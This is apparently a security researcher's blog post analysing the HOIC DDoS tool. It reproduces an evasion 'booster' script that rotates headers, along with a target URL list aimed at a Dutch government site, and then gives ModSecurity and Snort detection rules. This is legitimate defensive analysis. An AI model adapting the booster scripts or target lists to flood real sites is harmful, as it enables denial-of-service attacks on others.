In a previous blog post, we provided details of a DDoS attack tool called LOIC (Low Orbit Ion Canon) used by Anonymous in supports of denial of service attacks over the past year. Attackers are constantly changing their tactics and tools in response to defender's actions. Recently, the SANS Internet Storm Center (ISC) also highlighted a javascript verion of LOIC that, while generating the same attack traffic as our previous analysis showed, actually executed the attacks without the user "initiating" the attacks by pressing any buttons.
SpiderLabs has identified a new DDoS attack tool in circulation called HOIC (High Orbit Ion Canon).
While it seems that most of the dowload links have been removed by law enforcement agencies, we were able to obtain a copy and have conduct dynamic analysis on it. Here are our findings.
HOIC is an Windows executable file. Once started, you will be presented with the following GUI screen:
If the attacker clicks on the + sign under TARGETS they get another pop-up box where you can specify target data.
The attacker can then specify the following Target data:
After the attacker clicks on the Add button, they are taken back to the main screen.
The attacker can then adjust the THREADS number if desired to further increase the strength of the attack. When they are ready to lauch the attack, they click on the "FIRE TEH LAZER!" button. With the default settings shown above, the HTTP requests look like this:
GET / HTTP/1.0Accept: */*Accept-Language: enHost: www.hoic_target_site.com
If the target web server was Apache, example access_log entries would look like this:
72.192.214.223 - - [27/Jan/2012:08:57:59 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:57:59 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:03 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:03 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"
Looking at this attack data, you may be asking yourself "How is HOIC different from LOIC?" First of all, LOIC had both TCP and UDP DDoS attacks in addition to HTTP attacks were as HOIC is strictly an HTTP DoS tool. The real difference, or enhancement, that HOIC has over LOIC is its use of what it calls "Booster Scripts."
This is taken directly from the HOIC DOCUMENTATION FOR HACKERS text file:
OK!
So BASICALLY
HOIC is pretty useless
UNLESS it is used incombination with "BOOSTERS", AKA "SCRIPTS"/BOOST PACKS / BOOM BOOM POWER
These boosters come in the form of .HOIC scripts.
hoic scripts are very simple and follow VB6 mixed with vb.net syntax although slightly altered
here are the functions and globals that relate the HOIC:
booster -> This is a global variable that contains the contents of the current script (string)
Headers -> This is a global variable that is an array of strings, and will be used to form headers in requests sent to the target URL. To add a header, simply do something like this:
Headers.Append("User-Agent: penis") or Headers.Append("User-Agent: penis x" + CStr(powerFactor)
lbIndex -> Index into list box (cant really be used outside of the program, useless to developers)
PostBuffer -> String buffer containig post paramets, ie PostBuffer = "lol=2&lolxd=5"
powerFactor -> Integer from 0-2, 0 being low, 1 being medium , 2 being high
totalbytessent -> a count of the number of bytes sent to the target already (presistent across each attack)
URL -> url to attack
UsePost -> boolean, true = uses post, otherwise itll use get
Let's take a look at a booster script called GenericBoost.hoic:
Dim useragents() as String
Dim referers() as String
dim randheaders() as string
// EDIT THE FOLLOWING STRINGS TO MAKE YOUR OWN BOOST UNIQUE AND THEREFORE MORE EVASIVE!
// populate list
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"
useragents.Append "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)"
useragents.Append "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)"
useragents.Append "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"
useragents.Append "Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.1; .NET CLR 1.1.4322)"
useragents.Append "Googlebot/2.1 ( http://www.googlebot.com/bot.html) "
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14"
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14"
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13"
useragents.Append "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13"
useragents.Append "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727)"
useragents.Append "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320)"
useragents.Append "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5"
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16"
useragents.Append "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51"
useragents.Append "Mozilla/5.0 (Windows NT 5.1; U; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53"
// populate referer list
referers.Append "http://www.google.com/?q="+URL
referers.Append URL
referers.Append "http://www.google.com/"
referers.Append "http://www.yahoo.com/"
// Add random headers
randheaders.Append "Cache-Control: no-cache"
randheaders.Append "If-Modified-Since: Sat, 29 Oct 1994 11:59:59 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Aug 2007 12:54:49 GMT"
randheaders.Append "If-Modified-Since: Wed, 30 Jan 2000 01:21:09 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Aug 2009 08:49:15 GMT"
randheaders.Append "If-Modified-Since: Fri, 20 Oct 2006 09:34:27 GMT"
randheaders.Append "If-Modified-Since: Mon, 29 Oct 2007 11:59:59 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Aug 2003 12:54:49 GMT"
// ------------------ DO NOT EDIT BELOW THIS LINE
// generate random referer
Headers.Append "Referer: " + referers(RndNumber(0, referers.UBound))
// generate random user agent (DO NOT MODIFY THIS LINE)
Headers.Append "User-Agent: " + useragents(RndNumber(0, useragents.UBound))
// Generate random headers
Headers.Append randheaders(RndNumber(0, randheaders.UBound))
As you can see, the booster scripts set groups of various request header data including User-Agent, Referer and Cache-Control/If-Modified-Since data and will randomize the various combinations during attacks. After specifying the GenericBoost.hoic script and re-launching the attack, you can see that these request items are no longer static and instead randomly rotate between these data pieces:
GET / HTTP/1.0
Accept: */*
Accept-Language: en
Referer: http://www.hoic_target_site.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.1; .NET CLR 1.1.4322)
If-Modified-Since: Sat, 29 Oct 1994 11:59:59 GMT
Host: www.hoic_target_site.com
GET / HTTP/1.0
Accept: */*
Accept-Language: en
Referer: http://www.yahoo.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13
If-Modified-Since: Tue, 18 Aug 2003 12:54:49 GMT
Host: www.hoic_target_site.com
In addition to the GenericBoost.hoic file, there are two other scripts that target specific web sites. One script is specifically targeting a government web site in retaliation for prosecuting someone for using LOIC is previous attacks. The hoic file includes random URLs on the target website to hit:
// populate rotating urls
// IF YOU WANT TO IMPROVE THE ATTACK, ADD URLS BELONGING TO THIS DOMAIN OR RELATED SUBDOMAINS!!! PRO-TIP: You should create anew target and .HOIC file if u want to attack a
different organization
randURLs.Append "http://www.om.nl/"
randURLs.Append "http://www.om.nl/onderwerpen/cybercrime/"
randURLs.Append "http://www.om.nl/vast_menu_blok/contact/"
randURLs.Append "http://www.om.nl/actueel/nieuws-_en/"
randURLs.Append "http://www.om.nl/actueel/columns/"
randURLs.Append "http://www.om.nl/organisatie/"
randURLs.Append "http://www.om.nl/actueel/omtv_0/"
randURLs.Append "http://www.om.nl/"
randURLs.Append "http://www.om.nl/?rss=true"
randURLs.Append "http://www.om.nl/"
randURLs.Append "http://www.om.nl/actueel/strafzaken/"
randURLs.Append "http://www.om.nl/"
randURLs.Append "http://www.om.nl/actueel/publicaties/"
randURLs.Append "http://www.om.nl/organisatie/item_144364/"
randURLs.Append "http://www.om.nl/"
randURLs.Append "http://www.om.nl/onderwerpen/drugs/"
randURLs.Append "http://www.om.nl/onderwerpen/commissie_evaluatie/"
randURLs.Append "http://www.om.nl/actueel/agenda/"
randURLs.Append "http://www.om.nl/actueel/strafzaken/"
randURLs.Append "http://www.om.nl/onderwerpen/bouwfraude/"
randURLs.Append "http://www.om.nl/onderwerpen/mensenhandel_en/"
randURLs.Append "http://www.om.nl/onderwerpen/snelrecht_en/"
randURLs.Append "http://www.om.nl/"
randURLs.Append "http://www.om.nl/onderwerpen/voorkennis/"
randURLs.Append "http://www.om.nl/actueel/agenda/"
By randomizing these request characteristics, it makes things more challenging for defenders to create defensive rules to identify the individual attack payloads. While it does make detection more difficult, it is still possible.
While the HOIC requests try to evade detection through randomization techniques, there are still some request attributes which can be used for identification of attack traffic. Most of these tell-tale signs are based on abnormalities vs. real web web browsers.
Before we discuss some of the unique identifiers of HOIC traffic, we wanted to make sure to highlight the generic detection of automated DoS detection through traffic velocity violations. The OWASP ModSecurity Core Rule Set (CRS) has a denial of service detection rule set that can identify DoS attacks. The ModSecurity admin only needs to activate the file and then edit the following directives in the modsecurity_crs_10_config.conf file:
#
# -=[ DoS Protection ]=-
#
# If you are using the DoS Protection rule set, then uncomment the following
# lines and set the following variables:
# - Burst Time Slice Interval: time interval window to monitor for bursts
# - Request Threshold: request # threshold to trigger a burst
# - Block Period: temporary block timeout
#
SecAction "phase:1,id:'981215',t:none,nolog,pass, \
setvar:'tx.dos_burst_time_slice=60', \
setvar:'tx.dos_counter_threshold=100', \
setvar:'tx.dos_block_timeout=600'"
When a HOIC attack is run against the ModSecurity site, the following alerts will be generated:
[Fri Jan 27 13:44:39 2012] [error] [client 192.168.1.103] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/usr/local/apache/conf/crs/base_rules/modsecurity_crs_11_dos_protection.conf"] [line "11"] [id "981044"] [msg "Denial of Service (DoS) Attack Identified from 192.168.1.103 (237 hits since last alert)"] [hostname "192.168.1.100"] [uri "/"] [unique_id "TyLwl8CoAWQAATFkSFoAAAAG"]
These rules will initiate the drop action on all traffic from the attacker source and will provide periodic alerting with traffic stat counts). Besides alerting on traffic velocity violations, there are a numbe of other HOIC-specific attributes that may prove useful in the short-term to uniquely identify the attack tool in use.
All of the requests specify "HTTP/1.0" however they also include the "Host:" request header, which wasn't introduced until HTTP/1.1. The Host header's main purpose was to help conserve IP address space by allowing name-based virtual hosting. Without a Host header, each web site would have to have a unique IP address.
With this detection mechanism in mind, we can use the following ModSecurity rule to generically catch any HTTP/1.0 client that submits a Host header:
SecRule &REQUEST_HEADERS:Host "@eq 1" "chain,phase:1,t:none,log,block,msg:'HTTP v1.0 Client Anomaly - Host Header Sent.'" SecRule REQUEST_PROTOCOL "!@streq HTTP/1.1"
While the request header names and payloads, in and of themselves, are valid, the order in which they are defined in the request do not match what normal web browsers would send. Two good references for Browser Fingerpringing/Header Ordering are the Browser Recon Project and p0f3 (passive OS fingerprinting).
The Browser Recon Project has a Header Order DB with info on a large number of HTTP clients. The only limitation with this dataset is that it is quite old. The last update was in June 2008.
Michal Zalewski recently updated his Passive OS Finferprinting (p0s) tool to v3 which includes application layer fingerprinting capabilities. This includes analysis of HTTP clients by means of header ordering analysis. Here is a section of the p0f.fp file for HTTP Client Fingerprints for Microsoft's Internet Explorer and for Google's Chrome browsers:
; ----; MSIE; ----label = s:!:MSIE:8 or newersys = Windowssig = 1:Accept=[*/*],?Referer,?Accept-Language,User-Agent,Accept-Encoding=[gzip, deflate],Host,Connection=[Keep-Alive]:Keep-Alive,Accept-Charset,UA-CPU:(compatible; MSIEsig = 1:Accept=[*/*],?Referer,?Accept-Language,Accept-Encoding=[gzip, deflate],User-Agent,Host,Connection=[Keep-Alive]:Keep-Alive,Accept-Charset:(compatible; MSIElabel = s:!:MSIE:7sys = Windowssig = 1:Accept=[*/*],?Referer,?Accept-Language,UA-CPU,User-Agent,Accept-Encoding=[gzip, deflate],Host,Connection=[Keep-Alive]:Keep-Alive,Accept-Charset:(compatible; MSIE; TODO: Check if this one ever uses Accept-Language, etc. Also try to find MSIE 5.label = s:!:MSIE:6sys = Windowssig = 0:Accept=[*/*],?Referer,User-Agent,Host:Keep-Alive,Connection,Accept-Encoding,Accept-Language,Accept-Charset:(compatible; MSIEsig = 1:Accept=[*/*],Connection=[Keep-Alive],Host,?Pragma=[no-cache],?Range,?Referer,User-Agent:Keep-Alive,Accept-Encoding,Accept-Language,Accept-Charset:(compatible; MSIE; ------; Chrome; ------label = s:!:Chrome:11 or newersys = Windows,@unixsig = 1:Host,Connection=[keep-alive],User-Agent,Accept=[*/*],?Referer,Accept-Encoding=[gzip,deflate,sdch],Accept-Language,Accept-Charset=[utf-8;q=0.7,*;q=0.3]:: Chromsig = 1:Host,Connection=[keep-alive],User-Agent,Accept=[*/*],?Referer,Accept-Encoding=[gzip,deflate,sdch],Accept-Language,Accept-Charset=[UTF-8,*;q=0.5]:: Chromsig = 1:Host,User-Agent,Accept=[*/*],?Referer,Accept-Encoding=[gzip,deflate,sdch],Accept-Language,Accept-Charset=[utf-8;q=0.7,*;q=0.3],Connection=[keep-alive]::Chrom
By examining the valid header ordering shown here in p0f3, we can identify that the HOIC header ordering is abnormal. The easiest charcteristing to notice is that, in HOIC, the Host header is always listed last in the header order while this is not the case in any legitimate browsers.
The following ModSecurity rule will inspect the current header odering of the client request and then alert if the Host header is listed last:
SecRule REQUEST_HEADERS_NAMES ".*" "chain,phase:1,t:none,log,block,msg:'Request Header Anomaly - Host Header Listed Last.',setvar:'tx.header_order=%{tx.header_order}, %{matched_var}'" SecRule TX:HEADER_ORDER "@endsWith , Host"
This rule uses ModSecurity's macro expansion capability to create a custom variable which captures the order of the request header names. Here is an example from the debug log showing how this rule processing works:
Recipe: Invoking rule 1015de5c0; [file "/usr/local/apache/conf/crs/base_rules/modsecurity_crs_15_custom.conf"] [line "1"].Rule 1015de5c0: SecRule "REQUEST_HEADERS_NAMES" "@rx .*" "phase:1,chain,t:none,log,block,msg:'Request Header Anomaly - Host Header Listed Last.',setvar:'tx.header_order=%{tx.header_order}, %{matched_var}'"Expanded "REQUEST_HEADERS_NAMES" to "REQUEST_HEADERS_NAMES:Accept|REQUEST_HEADERS_NAMES:Accept-Language|REQUEST_HEADERS_NAMES:Referer|REQUEST_HEADERS_NAMES:User-Agent|REQUEST_HEADERS_NAMES:If-Modified-Since|REQUEST_HEADERS_NAMES:Host".Transformation completed in 1 usec.Executing operator "rx" with param ".*" against REQUEST_HEADERS_NAMES:Accept.Target value: "Accept"Operator completed in 2 usec.Setting variable: tx.header_order=%{tx.header_order}, %{matched_var}Resolved macro %{matched_var} to: AcceptSet variable "tx.header_order" to ", Accept".Transformation completed in 0 usec.Executing operator "rx" with param ".*" against REQUEST_HEADERS_NAMES:Accept-Language.Target value: "Accept-Language"Operator completed in 1 usec.Setting variable: tx.header_order=%{tx.header_order}, %{matched_var}Resolved macro %{tx.header_order} to: , AcceptResolved macro %{matched_var} to: Accept-LanguageSet variable "tx.header_order" to ", Accept, Accept-Language"....--CUT--...Executing operator "rx" with param ".*" against REQUEST_HEADERS_NAMES:Host.Target value: "Host"Operator completed in 1 usec.Setting variable: tx.header_order=%{tx.header_order}, %{matched_var}Resolved macro %{tx.header_order} to: , Accept, Accept-Language, Referer, User-Agent, If-Modified-SinceResolved macro %{matched_var} to: HostSet variable "tx.header_order" to ", Accept, Accept-Language, Referer, User-Agent, If-Modified-Since, Host".Rule returned 1.Match -> mode NEXT_RULE.Recipe: Invoking rule 1015df398; [file "/usr/local/apache/conf/crs/base_rules/modsecurity_crs_15_custom.conf"] [line "2"].Rule 1015df398: SecRule "TX:HEADER_ORDER" "@endsWith , Host"Transformation completed in 0 usec.Executing operator "endsWith" with param ", Host" against TX:header_order.Target value: ", Accept, Accept-Language, Referer, User-Agent, If-Modified-Since, Host"Operator completed in 8 usec.Warning. String match ", Host" at TX:header_order. [file "/usr/local/apache/conf/crs/base_rules/modsecurity_crs_15_custom.conf"] [line "1"] [msg "Request Header Anomaly - Host Header Listed Last."]
Another interesting characteristic of HOIC traffic is that many of the Request Header payloads have leading double-spaces in them. Look at this pcap capture in wireshark:
In this screenshot, we are highlighting the Keep-Alive field. Notice that after the Header Name and semi-colon, that there is actually two space characters (20 20) before the 115 payload text in the hex window. There are actually a number of headers that exhibit this behavior in this request. After analyzing the varsious .hoic files included in the download, we determined that this can be reliably flagged on the User-Agent field as it is included with almost all requests.
We attempted to create a ModSecurity rule to detect this issue, however Apache is executing some pre-processing on the header values before passing this data off to ModSecurity and these leading space characters are not visible to ModSecurity.
If you are running Snort IDS, you can use the following rule (Thanks to SpiderLabs' Rodrigo Montoro) to detect this same traffic on the network prior to reaching the web server:
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SLR Alert - HOIC Generic Detection with booster - HTTP 1.0 / Header Double Spacing"; flow:established,to_server; content:"User-Agent|3a 20 20|"; nocase; content:"HTTP/1|2e|0"; nocase; reference:url,blog.spiderlabs.com; threshold: type both, track by_src, count 15, seconds 30; classtype: slr-tw; sid:1; rev:1; )